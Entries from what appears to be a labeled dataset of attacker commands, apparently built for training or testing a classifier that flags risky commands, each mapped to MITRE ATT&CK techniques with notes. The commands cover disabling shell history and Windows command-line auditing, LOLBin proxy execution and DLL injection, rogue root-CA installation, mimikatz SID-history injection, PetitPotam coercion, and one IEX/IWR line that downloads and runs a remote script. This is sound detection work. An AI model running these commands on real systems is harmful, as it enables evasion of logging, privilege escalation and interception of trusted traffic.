cowWhySo/permission-command-corpus huggingface dataset:
Command: TEST=$(echo $HISTFILE) echo $HISTFILE export HISTFILE="/dev/null" echo "runnning some commands to populate the history" whoami groups if [ $(echo $HISTFILE) == "/dev/null" ]; then echo "\$HISTFILE is /dev/null"; else HIST_LENGHT=$(wc -l $HISTFILE); echo "\$HISTFILE is not /dev/null, history lenght is $HIST_LENGHT"; fi
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.003
Platform: linux
ATT&CK tags: T1562.003
Source rule: Setting the HISTFILE environment variable
Notes: An Adversary may clear, unset or redirect the history environment variable HISTFILE to prevent logging of commands to the history file after they log out of the system.

Note: we don't wish to log out, so we are just confirming the value of HISTFILE. In this test we 1. echo HISTFILE 2. set it to /dev/null 3. confirm that HISTFILE is set to /dev/null.
Command: export HISTFILE=$(echo $TEST)
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.003
Platform: linux
ATT&CK tags: T1562.003
Source rule: Setting the HISTFILE environment variable
Notes: An Adversary may clear, unset or redirect the history environment variable HISTFILE to prevent logging of commands to the history file after they log out of the system.

Note: we don't wish to log out, so we are just confirming the value of HISTFILE. In this test we 1. echo HISTFILE 2. set it to /dev/null 3. confirm that HISTFILE is set to /dev/null.
Command: echo $HISTFILE export HISTFILE="/dev/null" if [ $(echo $HISTFILE) == "/dev/null" ]; then echo "\$HISTFILE is /dev/null"; fi
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.003
Platform: linux
ATT&CK tags: T1562.003
Source rule: Setting the HISTFILE environment variable (freebsd)
Notes: An Adversary may clear, unset or redirect the history environment variable HISTFILE to prevent logging of commands to the history file after they log out of the system.

Note: we don't wish to log out, so we are just confirming the value of HISTFILE. In this test we 1. echo HISTFILE 2. set it to /dev/null 3. confirm that HISTFILE is set to /dev/null.
Command: export HISTFILE=~/.sh_history
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.003
Platform: linux
ATT&CK tags: T1562.003
Source rule: Setting the HISTFILE environment variable (freebsd)
Notes: An Adversary may clear, unset or redirect the history environment variable HISTFILE to prevent logging of commands to the history file after they log out of the system.

Note: we don't wish to log out, so we are just confirming the value of HISTFILE. In this test we 1. echo HISTFILE 2. set it to /dev/null 3. confirm that HISTFILE is set to /dev/null.
Command: if ((${#HISTIGNORE[@]})); then echo "\$HISTIGNORE = $HISTIGNORE"; else export HISTIGNORE='ls*:rm*:ssh*'; echo "\$HISTIGNORE = $HISTIGNORE"; fi history -c ls -la $HISTFILE ls -la ~/.bash_logout if [ $(history |wc -l) -eq 1 ]; then echo "ls commands are not in history"; fi unset HISTIGNORE if ((${#HISTIGNORE[@]})); then echo "\$HISTIGNORE = $HISTIGNORE"; else export HISTIGNORE='*'; echo "\$HISTIGNORE = $HISTIGNORE"; fi history -c whoami groups if [ $(history |wc -l) -eq 0 ]; then echo "History cache is empty"; fi
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.003
Platform: linux
ATT&CK tags: T1562.003
Source rule: Setting the HISTIGNORE environment variable
Notes: An Adversary may take advantage of the HISTIGNORE environment variable either to ignore particular commands or all commands. 

In this test we 1. set HISTIGNORE to ignore ls, rm and ssh commands 2. clear this history cache 3..4 execute ls commands 5. confirm that the ls commands are not in the history cache 6. unset HISTIGNORE variable 7.. same again, but ignoring ALL commands.
Command: unset HISTIGNORE
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.003
Platform: linux
ATT&CK tags: T1562.003
Source rule: Setting the HISTIGNORE environment variable
Notes: An Adversary may take advantage of the HISTIGNORE environment variable either to ignore particular commands or all commands. 

In this test we 1. set HISTIGNORE to ignore ls, rm and ssh commands 2. clear this history cache 3..4 execute ls commands 5. confirm that the ls commands are not in the history cache 6. unset HISTIGNORE variable 7.. same again, but ignoring ALL commands.
Command: reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit /v ProcessCreationIncludeCmdLine_Enabled /t REG_DWORD /d 0 /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.003
Platform: windows
ATT&CK tags: T1562.003
Source rule: Disable Windows Command Line Auditing using reg.exe
Notes: In Windows operating systems, command line auditing is controlled through the following registry value:

  Registry Path: HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
  
  Registry Value: ProcessCreationIncludeCmdLine_Enabled

When command line auditing is enabled, the system records detailed information about command execution, including the command executed, the user account responsible for executing the command, and the timestamp of the execution.
This information is c
Command: reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit /v ProcessCreationIncludeCmdLine_Enabled /t REG_DWORD /d 1 /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.003
Platform: windows
ATT&CK tags: T1562.003
Source rule: Disable Windows Command Line Auditing using reg.exe
Notes: In Windows operating systems, command line auditing is controlled through the following registry value:

  Registry Path: HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
  
  Registry Value: ProcessCreationIncludeCmdLine_Enabled

When command line auditing is enabled, the system records detailed information about command execution, including the command executed, the user account responsible for executing the command, and the timestamp of the execution.
This information is c
Command: New-ItemProperty -Path "HKLM:Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit" -Name "ProcessCreationIncludeCmdLine_Enabled" -Value 0 -PropertyType DWORD -Force -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.003
Platform: windows
ATT&CK tags: T1562.003
Source rule: Disable Windows Command Line Auditing using Powershell Cmdlet
Notes: In Windows operating systems, command line auditing is controlled through the following registry value:

  Registry Path: HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
  
  Registry Value: ProcessCreationIncludeCmdLine_Enabled

When command line auditing is enabled, the system records detailed information about command execution, including the command executed, the user account responsible for executing the command, and the timestamp of the execution.
This information is c
Command: New-ItemProperty -Path "HKLM:Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit" -Name "ProcessCreationIncludeCmdLine_Enabled" -Value 1 -PropertyType DWORD -Force -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.003
Platform: windows
ATT&CK tags: T1562.003
Source rule: Disable Windows Command Line Auditing using Powershell Cmdlet
Notes: In Windows operating systems, command line auditing is controlled through the following registry value:

  Registry Path: HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
  
  Registry Value: ProcessCreationIncludeCmdLine_Enabled

When command line auditing is enabled, the system records detailed information about command execution, including the command executed, the user account responsible for executing the command, and the timestamp of the execution.
This information is c
Command: mavinject.exe #{process_id} /INJECTRUNNING "#{dll_payload}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218
Platform: windows
ATT&CK tags: T1218
Source rule: mavinject - Inject DLL into running process
Notes: Injects arbitrary DLL into running process specified by process ID. Requires Windows 10.
Command: C:\Windows\SysWow64\Register-CimProvider.exe -Path "#{dll_payload}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218
Platform: windows
ATT&CK tags: T1218
Source rule: Register-CimProvider - Execute evil dll
Notes: Execute arbitrary dll. Requires at least Windows 8/2012. Also note this dll can be served up via SMB
Command: InfDefaultInstall.exe "#{inf_to_execute}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218
Platform: windows
ATT&CK tags: T1218
Source rule: InfDefaultInstall.exe .inf Execution
Notes: Test execution of a .inf using InfDefaultInstall.exe

Reference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSBinaries/Infdefaultinstall.yml
Command: FOR /F "tokens=2*" %a in ('reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\Winword.exe" /V PATH') do set microsoft_wordpath=%b call "%microsoft_wordpath%\protocolhandler.exe" "ms-word:nft|u|#{remote_url}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218
Platform: windows
ATT&CK tags: T1218
Source rule: ProtocolHandler.exe Downloaded a Suspicious File
Notes: Emulates attack via documents through protocol handler in Microsoft Office.  On successful execution you should see Microsoft Word launch a blank file.
Command: #{mwcpath}\#{mwcname} "#{xml_payload}" output.txt
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218
Platform: windows
ATT&CK tags: T1218
Source rule: Microsoft.Workflow.Compiler.exe Payload Execution
Notes: Emulates attack with Microsoft.Workflow.Compiler.exe running a .Net assembly that launches calc.exe
Command: &"#{renamed_binary}" "#{xml_payload}" output.txt
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218
Platform: windows
ATT&CK tags: T1218
Source rule: Renamed Microsoft.Workflow.Compiler.exe Payload Executions
Notes: Emulates attack with a renamed Microsoft.Workflow.Compiler.exe running a .Net assembly that launches calc.exe
Command: Invoke-ATHRemoteFXvGPUDisablementCommand -ModuleName #{module_name} -ModulePath #{module_path}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218
Platform: windows
ATT&CK tags: T1218
Source rule: Invoke-ATHRemoteFXvGPUDisablementCommand base test
Notes: RemoteFXvGPUDisablement.exe is an abusable, signed PowerShell host executable that was introduced in Windows 10 and Server 2019 (OS Build 17763.1339).

One of the PowerShell functions called by RemoteFXvGPUDisablement.exe is Get-VMRemoteFXPhysicalVideoAdapter, a part of the Hyper-V module. This atomic test influences RemoteFXvGPUDisablement.exe to execute custom PowerShell code by using a technique referred to as "PowerShell module load-order hijacking" where a module containing, in this case, a
Command: #{dspath} -S #{txt_payload}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218
Platform: windows
ATT&CK tags: T1218
Source rule: DiskShadow Command Execution
Notes: Emulates attack with a DiskShadow.exe (LOLBIN installed by default on Windows) being used to execute arbitrary commands Reference: https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/
Command: wuauclt.exe /UpdateDeploymentProvider "#{arbitrary_dll}" /RunHandlerComServer
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218
Platform: windows
ATT&CK tags: T1218
Source rule: Load Arbitrary DLL via Wuauclt (Windows Update Client)
Notes: This test uses Wuauclt to load an arbitrary DLL. Upon execution with the default inputs, calculator.exe will be launched. 
See https://dtm.uk/wuauclt/
Command: taskkill /f /im calculator.exe > nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218
Platform: windows
ATT&CK tags: T1218
Source rule: Load Arbitrary DLL via Wuauclt (Windows Update Client)
Notes: This test uses Wuauclt to load an arbitrary DLL. Upon execution with the default inputs, calculator.exe will be launched. 
See https://dtm.uk/wuauclt/
Command: Gpscript /logon
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218
Platform: windows
ATT&CK tags: T1218
Source rule: Lolbin Gpscript logon option
Notes: Executes logon scripts configured in Group Policy.
https://lolbas-project.github.io/lolbas/Binaries/Gpscript/
https://oddvar.moe/2018/04/27/gpscript-exe-another-lolbin-to-the-list/
Command: Gpscript /startup
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218
Platform: windows
ATT&CK tags: T1218
Source rule: Lolbin Gpscript startup option
Notes: Executes startup scripts configured in Group Policy
https://lolbas-project.github.io/lolbas/Binaries/Gpscript/
https://oddvar.moe/2018/04/27/gpscript-exe-another-lolbin-to-the-list/
Command: copy #{Path_ie4uinit} %TEMP%\ie4uinit.exe copy "#{Path_inf}" %TEMP%\ieuinit.inf %TEMP%\ie4uinit.exe -BaseSettings
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218
Platform: windows
ATT&CK tags: T1218
Source rule: Lolbas ie4uinit.exe use as proxy
Notes: Executes commands from a specially prepared ie4uinit.inf file.
Poc from : https://bohops.com/2018/03/10/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence-part-2/
Reference: https://lolbas-project.github.io/lolbas/Binaries/Ie4uinit/
Command: del %TEMP%\ie4uinit.exe >nul 2>&1 del %TEMP%\ieuinit.inf >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218
Platform: windows
ATT&CK tags: T1218
Source rule: Lolbas ie4uinit.exe use as proxy
Notes: Executes commands from a specially prepared ie4uinit.inf file.
Poc from : https://bohops.com/2018/03/10/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence-part-2/
Reference: https://lolbas-project.github.io/lolbas/Binaries/Ie4uinit/
Command: if (-not (Test-Path #{dest_path})) { New-Item -Path #{dest_path} -ItemType Directory } else { Write-Host "Directory #{dest_path} already exists." } Copy-Item -Path "C:\windows\system32\customshellhost.exe" -Destination "#{dest_path}\customshellhost.exe" -Force Copy-Item -Path "C:\windows\system32\calc.exe" -Destination "#{dest_path}\explorer.exe" -Force #{dest_path}\customshellhost.exe
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218
Platform: windows
ATT&CK tags: T1218
Source rule: LOLBAS CustomShellHost to Spawn Process
Notes: This test simulates an adversary copying `customshellhost.exe` and `calc.exe` from `C:\windows\system32\` to `C:\temp\`, renaming `calc.exe` to `explorer.exe`.
Upon execution, customshellhost.exe will spawn calc.exe.
Note this will only work on Windows 10 or 11.
[LOLBAS](https://lolbas-project.github.io/lolbas/Binaries/CustomShellHost/)
[BishopFox](https://bishopfox.com/blog/edr-bypass-with-lolbins)
Command: Remove-Item -Path #{dest_path} -Recurse -Force
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218
Platform: windows
ATT&CK tags: T1218
Source rule: LOLBAS CustomShellHost to Spawn Process
Notes: This test simulates an adversary copying `customshellhost.exe` and `calc.exe` from `C:\windows\system32\` to `C:\temp\`, renaming `calc.exe` to `explorer.exe`.
Upon execution, customshellhost.exe will spawn calc.exe.
Note this will only work on Windows 10 or 11.
[LOLBAS](https://lolbas-project.github.io/lolbas/Binaries/CustomShellHost/)
[BishopFox](https://bishopfox.com/blog/edr-bypass-with-lolbins)
Command: reg.exe add HKLM\SOFTWARE\Microsoft\Provisioning\Commands\LOLBin\dummy1 /v altitude /t REG_DWORD /d 0 reg add HKLM\SOFTWARE\Microsoft\Provisioning\Commands\LOLBin\dummy1\dummy2 /v Commandline /d calc.exe c:\windows\system32\provlaunch.exe LOLBin
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218
Platform: windows
ATT&CK tags: T1218
Source rule: Provlaunch.exe Executes Arbitrary Command via Registry Key
Notes: Provlaunch.exe executes a command defined in the Registry. This test will create the necessary registry keys and values, then run provlaunch.exe to execute an arbitrary command.
- https://twitter.com/0gtweet/status/1674399582162153472
- https://lolbas-project.github.io/lolbas/Binaries/Provlaunch/
Registry keys are deleted after successful execution.
Command: $edgePath64 = "C:\Program Files\Microsoft\Edge\Application\msedge.exe" if (Test-Path $edgePath64) { $edgePath = $edgePath64 } else { # Check 32-bit Edge installation path $edgePath32 = "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" if (Test-Path $edgePath32) { $edgePath = $edgePath32 } else { exit 1 } } & $edgePath --disable-gpu-sandbox --gpu-launcher="C:\\Windows\\System32\\calc.exe &&" sleep 5 taskkill -f -im msedge.exe taskkill -f -im calc.exe taskkill -f -im win32calc.exe
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218
Platform: windows
ATT&CK tags: T1218
Source rule: LOLBAS Msedge to Spawn Process
Notes: Executes a process under a trusted Microsoft signed binary,mseddge. This test will spawn "calc.exe" as a child process of msedge.exe
- https://lolbas-project.github.io/lolbas/Binaries/Msedge/
Command: wlrmdr.exe -s 3600 -f 0 -t _ -m _ -a 11 -u "#{payload_path}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218
Platform: windows
ATT&CK tags: T1218
Source rule: System Binary Proxy Execution - Wlrmdr Lolbin
Notes: Use wlrmdr(Windows Logon Reminder executable) as a proxy binary to evade defensive countermeasures
Command: openssl genrsa -out #{key_filename} 4096 openssl req -x509 -new -nodes -key #{key_filename} -sha256 -days 365 -subj "/C=US/ST=Denial/L=Springfield/O=Dis/CN=www.example.com" -out #{cert_filename} cp #{cert_filename} /etc/pki/ca-trust/source/anchors/ update-ca-trust
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1553.004
Platform: linux
ATT&CK tags: T1553.004
Source rule: Install root CA on CentOS/RHEL
Notes: Creates a root CA with openssl
Command: rm /etc/pki/ca-trust/source/anchors/#{cert_filename} update-ca-trust
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1553.004
Platform: linux
ATT&CK tags: T1553.004
Source rule: Install root CA on CentOS/RHEL
Notes: Creates a root CA with openssl
Command: openssl genrsa -out #{key_filename} 4096 openssl req -x509 -new -nodes -key #{key_filename} -sha256 -days 365 -subj "/C=US/ST=Denial/L=Springfield/O=Dis/CN=www.example.com" -out #{cert_filename} cp #{cert_filename} /usr/local/share/certs/ certctl rehash
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1553.004
Platform: linux
ATT&CK tags: T1553.004
Source rule: Install root CA on FreeBSD
Notes: Creates a root CA with openssl
Command: rm /usr/local/share/certs/#{cert_filename} certctl rehash
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1553.004
Platform: linux
ATT&CK tags: T1553.004
Source rule: Install root CA on FreeBSD
Notes: Creates a root CA with openssl
Command: mv #{cert_filename} /usr/local/share/ca-certificates sudo update-ca-certificates
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1553.004
Platform: linux
ATT&CK tags: T1553.004
Source rule: Install root CA on Debian/Ubuntu
Notes: Creates a root CA with openssl
Command: sudo security add-trusted-cert -d -r trustRoot -k "/Library/Keychains/System.keychain" "#{cert_filename}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1553.004
Platform: macos
ATT&CK tags: T1553.004
Source rule: Install root CA on macOS
Notes: Creates a root CA with openssl
Command: $cert = Import-Certificate -FilePath #{pfx_path} -CertStoreLocation Cert:\LocalMachine\My Move-Item -Path $cert.PSPath -Destination "Cert:\LocalMachine\Root"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1553.004
Platform: windows
ATT&CK tags: T1553.004
Source rule: Install root CA on Windows
Notes: Creates a root CA with Powershell
Command: try { $cert = Import-Certificate -FilePath #{pfx_path} -CertStoreLocation Cert:\LocalMachine\My -ErrorAction Ignore Get-ChildItem Cert:\LocalMachine\My\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore Get-ChildItem Cert:\LocalMachine\Root\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore } catch { }
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1553.004
Platform: windows
ATT&CK tags: T1553.004
Source rule: Install root CA on Windows
Notes: Creates a root CA with Powershell
Command: certutil -addstore my #{pfx_path}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1553.004
Platform: windows
ATT&CK tags: T1553.004
Source rule: Install root CA on Windows with certutil
Notes: Creates a root CA with certutil
Command: try { $cert = Import-Certificate -FilePath #{pfx_path} -CertStoreLocation Cert:\LocalMachine\My Get-ChildItem Cert:\LocalMachine\My\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore Get-ChildItem Cert:\LocalMachine\Root\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore } catch { }
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1553.004
Platform: windows
ATT&CK tags: T1553.004
Source rule: Install root CA on Windows with certutil
Notes: Creates a root CA with certutil
Command: IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1553.004/src/RemoteCertTrust.ps1' -UseBasicParsing)
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1553.004
Platform: windows
ATT&CK tags: T1553.004
Source rule: Add Root Certificate to CurrentUser Certificate Store
Notes: The following Atomic test simulates adding a generic non-malicious certificate to the CurrentUser certificate store. This behavior generates a registry modification that adds the cloned root CA certificate in the keys outlined in the blog.
Keys will look like - \SystemCertificates\CA\Certificates or \SystemCertificates\Root\Certificates
Reference: https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec
Command: Get-ChildItem -Path Cert:\ -Recurse | Where-Object { $_.Thumbprint -eq '1F3D38F280635F275BE92B87CF83E40E40458400' } | remove-item
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1553.004
Platform: windows
ATT&CK tags: T1553.004
Source rule: Add Root Certificate to CurrentUser Certificate Store
Notes: The following Atomic test simulates adding a generic non-malicious certificate to the CurrentUser certificate store. This behavior generates a registry modification that adds the cloned root CA certificate in the keys outlined in the blog.
Keys will look like - \SystemCertificates\CA\Certificates or \SystemCertificates\Root\Certificates
Reference: https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec
Command: #{mimikatz_path} "privilege::debug" "sid::patch" "sid::add /sid:#{sid_to_inject} /sam:#{sam_account_name}" "exit"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1134.005
Platform: windows
ATT&CK tags: T1134.005
Source rule: Injection SID-History with mimikatz
Notes: Adversaries may use SID-History Injection to escalate privileges and bypass access controls. Must be run on domain controller
Command: #{mimikatz_path} "sid::clear /sam:#{sam_account_name}" "exit"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1134.005
Platform: windows
ATT&CK tags: T1134.005
Source rule: Injection SID-History with mimikatz
Notes: Adversaries may use SID-History Injection to escalate privileges and bypass access controls. Must be run on domain controller
Command: & "#{petitpotam_path}" #{captureServerIP} #{targetServerIP} #{efsApi} Write-Host "End of PetitPotam attack"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1187
Platform: windows
ATT&CK tags: T1187
Source rule: PetitPotam
Notes: This module runs the Windows executable of PetitPotam in order to coerce authentication for a remote system.